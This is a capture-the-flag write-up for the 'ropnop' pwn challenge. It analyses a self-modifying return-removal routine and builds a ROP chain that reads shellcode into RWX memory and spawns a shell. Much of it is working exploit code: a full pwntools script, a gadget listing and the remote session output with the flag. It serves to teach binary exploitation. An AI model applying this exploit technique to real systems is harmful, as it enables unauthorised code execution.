Category: Pwn
Difficulty: Medium
Author: Flo
heard about this spooky exploitation technique called ROP recently.
These haxxors don't know who they're dealing with though. With ropnop™, I made sure that nobody can exploit my sketchy C code!
Here's a demo:
nc hax1.allesctf.net 9300
Running the binary we get some output that says that all return between start and and are defused.
[defusing returns] start: 0x562cb92dc000 - end: 0x562cb92dd375
After that the program segfaults.
int main(void) { init_buffering(); ropnop(); int* buffer = (int*)&buffer; read(0, buffer, 0x1337); return 0; }
The main function explains the segfault:
It reads 0x1337 bytes onto the stack (overwriting the return address) and returns.
But before that it calls ropnop
void ropnop() { unsigned char *start = &__executable_start; unsigned char *end = &etext; printf("[defusing returns] start: %p - end: %p\n", start, end); mprotect(start, end-start, PROT_READ|PROT_WRITE|PROT_EXEC); unsigned char *p = start; while (p != end) { // if we encounter a ret instruction, replace it with nop! if (*p == 0xc3) *p = 0x90; p++; } }
This function maps the .text
section as Read/Write/Execute
and replaces every ret
instruction (0xc3) with a nop
(0x90).
The symbols __executable_start
and etext
are provided by the linker. But why does this function return? This is a quite hard bug to spot, but when replacing every 0xc3
with 0x90
it will replace the 0xc3
in the comparison as soon as the ropnop
function is hit resulting in this code:
void ropnop() { unsigned char *start = &__executable_start; unsigned char *end = &etext; printf("[defusing returns] start: %p - end: %p\n", start, end); mprotect(start, end-start, PROT_READ|PROT_WRITE|PROT_EXEC); unsigned char *p = start; while (p != end) { // if we encounter a ret instruction, replace it with nop! if (*p == 0x90) *p = 0x90; p++; } }
After this has happened the program will replace every nop
with a nop
and therefore do nothing. All ret
instructions after this address will stay as they are. And the program will return to main.
void gadget_shop() { // look at all these cool gadgets __asm__("syscall; ret"); __asm__("pop %rax; ret"); __asm__("pop %rdi; ret"); __asm__("pop %rsi; ret"); __asm__("pop %rdx; ret"); }
The program contains a function called gadget_shop
. It contains nice ROP gadgets, but the ropnop
function does overwrite the ret
instructions, because the address is before the check. We can't use them for our chain.
But we can use all gadgets after the address of the cmp ecx, 0xc3
(0x1270) here are the gadgets listed:
$ ropper --file ropnop --nocolor | awk -F: '{printf("%d: %s\n",$1, $2)}' | awk -F: '{if($1>4720)printf("0x%08x: %s\n",$1,$2)}' 0x0000135c: add byte ptr [rax], al; add byte ptr [rax], al; endbr64; ret; 0x00001366: add byte ptr [rax], al; endbr64; sub rsp, 8; add rsp, 8; ret; 0x0000135e: add byte ptr [rax], al; endbr64; ret; 0x00001297: add esp, 0x20; pop rbp; ret; 0x00001296: add rsp, 0x20; pop rbp; ret; 0x0000133c: fisttp word ptr [rax - 0x7d]; ret; 0x000012d7: mov dword ptr [rbp - 0x18], eax; mov eax, ecx; add rsp, 0x20; pop rbp; ret; 0x000012da: mov eax, ecx; add rsp, 0x20; pop rbp; ret; 0x000012d6: mov qword ptr [rbp - 0x18], rax; mov eax, ecx; add rsp, 0x20; pop rbp; ret; 0x00001358: nop dword ptr [rax + rax]; endbr64; ret; 0x00001357: nop dword ptr cs 0x00001356: nop word ptr cs 0x0000134c: pop r12; pop r13; pop r14; pop r15; ret; 0x0000134e: pop r13; pop r14; pop r15; ret; 0x00001350: pop r14; pop r15; ret; 0x00001352: pop r15; ret; 0x0000134b: pop rbp; pop r12; pop r13; pop r14; pop r15; ret; 0x0000134f: pop rbp; pop r14; pop r15; ret; 0x00001351: pop rsi; pop r15; ret; 0x0000134d: pop rsp; pop r13; pop r14; pop r15; ret; 0x0000136d: sub esp, 8; add rsp, 8; ret; 0x0000136c: sub rsp, 8; add rsp, 8; ret; 0x0000135a: test byte ptr [rax], al; add byte ptr [rax], al; add byte ptr [rax], al; endbr64; ret; 0x000012d4: xor ecx, ecx; mov qword ptr [rbp - 0x18], rax; mov eax, ecx; add rsp, 0x20; pop rbp; ret; 0x0000136b: cli; sub rsp, 8; add rsp, 8; ret; 0x00001363: cli; ret; 0x00001368: endbr64; sub rsp, 8; add rsp, 8; ret; 0x00001360: endbr64; ret; 0x000012d5: leave; mov qword ptr [rbp - 0x18], rax; mov eax, ecx; add rsp, 0x20; pop rbp; ret; 0x00001271: stc; ret;
The gadgets are quite powerful we could use return-to-csu
to leak libc and do pop rdi, ret; system
instructions, but as the .text
section is already mapped RWX
, I decided to just write my shellcode to it and jump into that.
The ROP chain is very short:
__executable_start+0x60: #rbp (junk) __executable_start+0x1351: pop rsi, pop r15, ret __executable_start: # rsi 0x00: # r15 __executable_start+0x12ca mov edx, 0x1337, call read, <junk>, add rsp, 0x20, pop rbp, ret # read 0x1337 bytes into __executable_start (our shellcode) 0x00 (0x20 times): # padding for rsp 0x00: # junk for pop rbp __executable_start: # jump to shellcode
00000000000012a0 <main>: 12a0: 55 push rbp 12a1: 48 89 e5 mov rbp,rsp 12a4: 48 83 ec 20 sub rsp,0x20 12a8: c7 45 fc 00 00 00 00 mov DWORD PTR [rbp-0x4],0x0 12af: e8 bc fe ff ff call 1170 <init_buffering> 12b4: e8 47 ff ff ff call 1200 <ropnop> 12b9: 31 ff xor edi,edi 12bb: 48 8d 45 f0 lea rax,[rbp-0x10] 12bf: 48 89 45 f0 mov QWORD PTR [rbp-0x10],rax 12c3: 48 8b 45 f0 mov rax,QWORD PTR [rbp-0x10] 12c7: 48 89 c6 mov rsi,rax 12ca: ba 37 13 00 00 mov edx,0x1337; <-- we jump here 12cf: e8 6c fd ff ff call 1040 <read@plt> 12d4: 31 c9 xor ecx,ecx 12d6: 48 89 45 e8 mov QWORD PTR [rbp-0x18],rax 12da: 89 c8 mov eax,ecx 12dc: 48 83 c4 20 add rsp,0x20 12e0: 5d pop rbp 12e1: c3 ret
We can get the right offset for the overflow by using cyclic_find
:
$ ./rop.py debug buffer_overflow [...] cyclic: 0x61616167
And we get the leak for free in the output the program.
$ ./rop.py remote [*] '/ctf/ropnop' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled [x] Opening connection to hax1.allesctf.net on port 9300 [x] Opening connection to hax1.allesctf.net on port 9300: Trying 147.75.85.99 [+] Opening connection to hax1.allesctf.net on port 9300: Done [*] Loaded 21 cached gadgets for '/ctf/ropnop' [*] Switching to interactive mode $ ls flag meme.jpg ropnop ynetd $ cat flag CSCG{s3lf_m0d1fy1ng_c0dez!} $ exit [*] Got EOF while reading in interactive [*] Interrupted
#!/usr/bin/env python3 from pwn import * from huepy import * import sys import os import socket import subprocess import re vuln_host = 'hax1.allesctf.net'#'127.0.0.1' vuln_port = '9300' app_path = os.getcwd()+'/ropnop' lo = not 'remote' in sys.argv dbg = 'dbg' in sys.argv or 'debug' in sys.argv if dbg: log.setLevel(2) break_main = 'break_main' in sys.argv buffer_overflow = 'buffer_overflow' in sys.argv context(os='linux', arch='amd64', bits=64, terminal=['tmux', 'splitw', '-h']) def init_dbg(app_path): args = [] if break_main and not buffer_overflow: args.append('set stop-on-solib-events 1') args.append('continue') args.append('continue') args.append('break __libc_start_main') args.append('commands') args.append('break *$rdi') args.append('continue') args.append('end') args.append('continue') args.append('delete') elif buffer_overflow: args.append('set context-sections ""') args.append('define hook-stop') args.append('printf "cyclic: %p\\n", *((int *)$rsp)') args.append('python __import__("time").sleep(10000)') args.append('end') args.append('continue') else: args.append('continue') return gdb.debug(app_path, "\n".join(args)) elf = ELF(app_path) if lo: p = process(app_path) if not dbg else init_dbg(app_path) else: p = remote(vuln_host,vuln_port) # PWN if buffer_overflow: p.sendline(cyclic(4096)) padding = cyclic_find(0x61616167) rop = ROP(elf) start_addr = int(p.readuntil(b"\n").split(b"start: ")[1].split(b" - ")[0],16) rop.raw(start_addr+0x60) #rbp (junk) rop.raw(start_addr+0x1351) #pop rsi, pop r15; ret rop.raw(start_addr) #_start (read destination) rop.raw(0) rop.raw(start_addr+0x12ca) #read 0x1337 bytes (shellcode) in _start [rop.raw(0) for _ in range(0x20//8)] #paading for add, rsp 0x20 rop.raw(0x41414141) #rbp rop.raw(start_addr) #jump to _start (execute shellcode) p.sendline(b"B"*(padding-0x8)+(rop.chain())) # -0x8 becuase of pop rbp shellcode = asm(shellcraft.amd64.linux.sh()) p.sendline(shellcode) p.interactive()
CSCG{s3lf_m0d1fy1ng_c0dez!}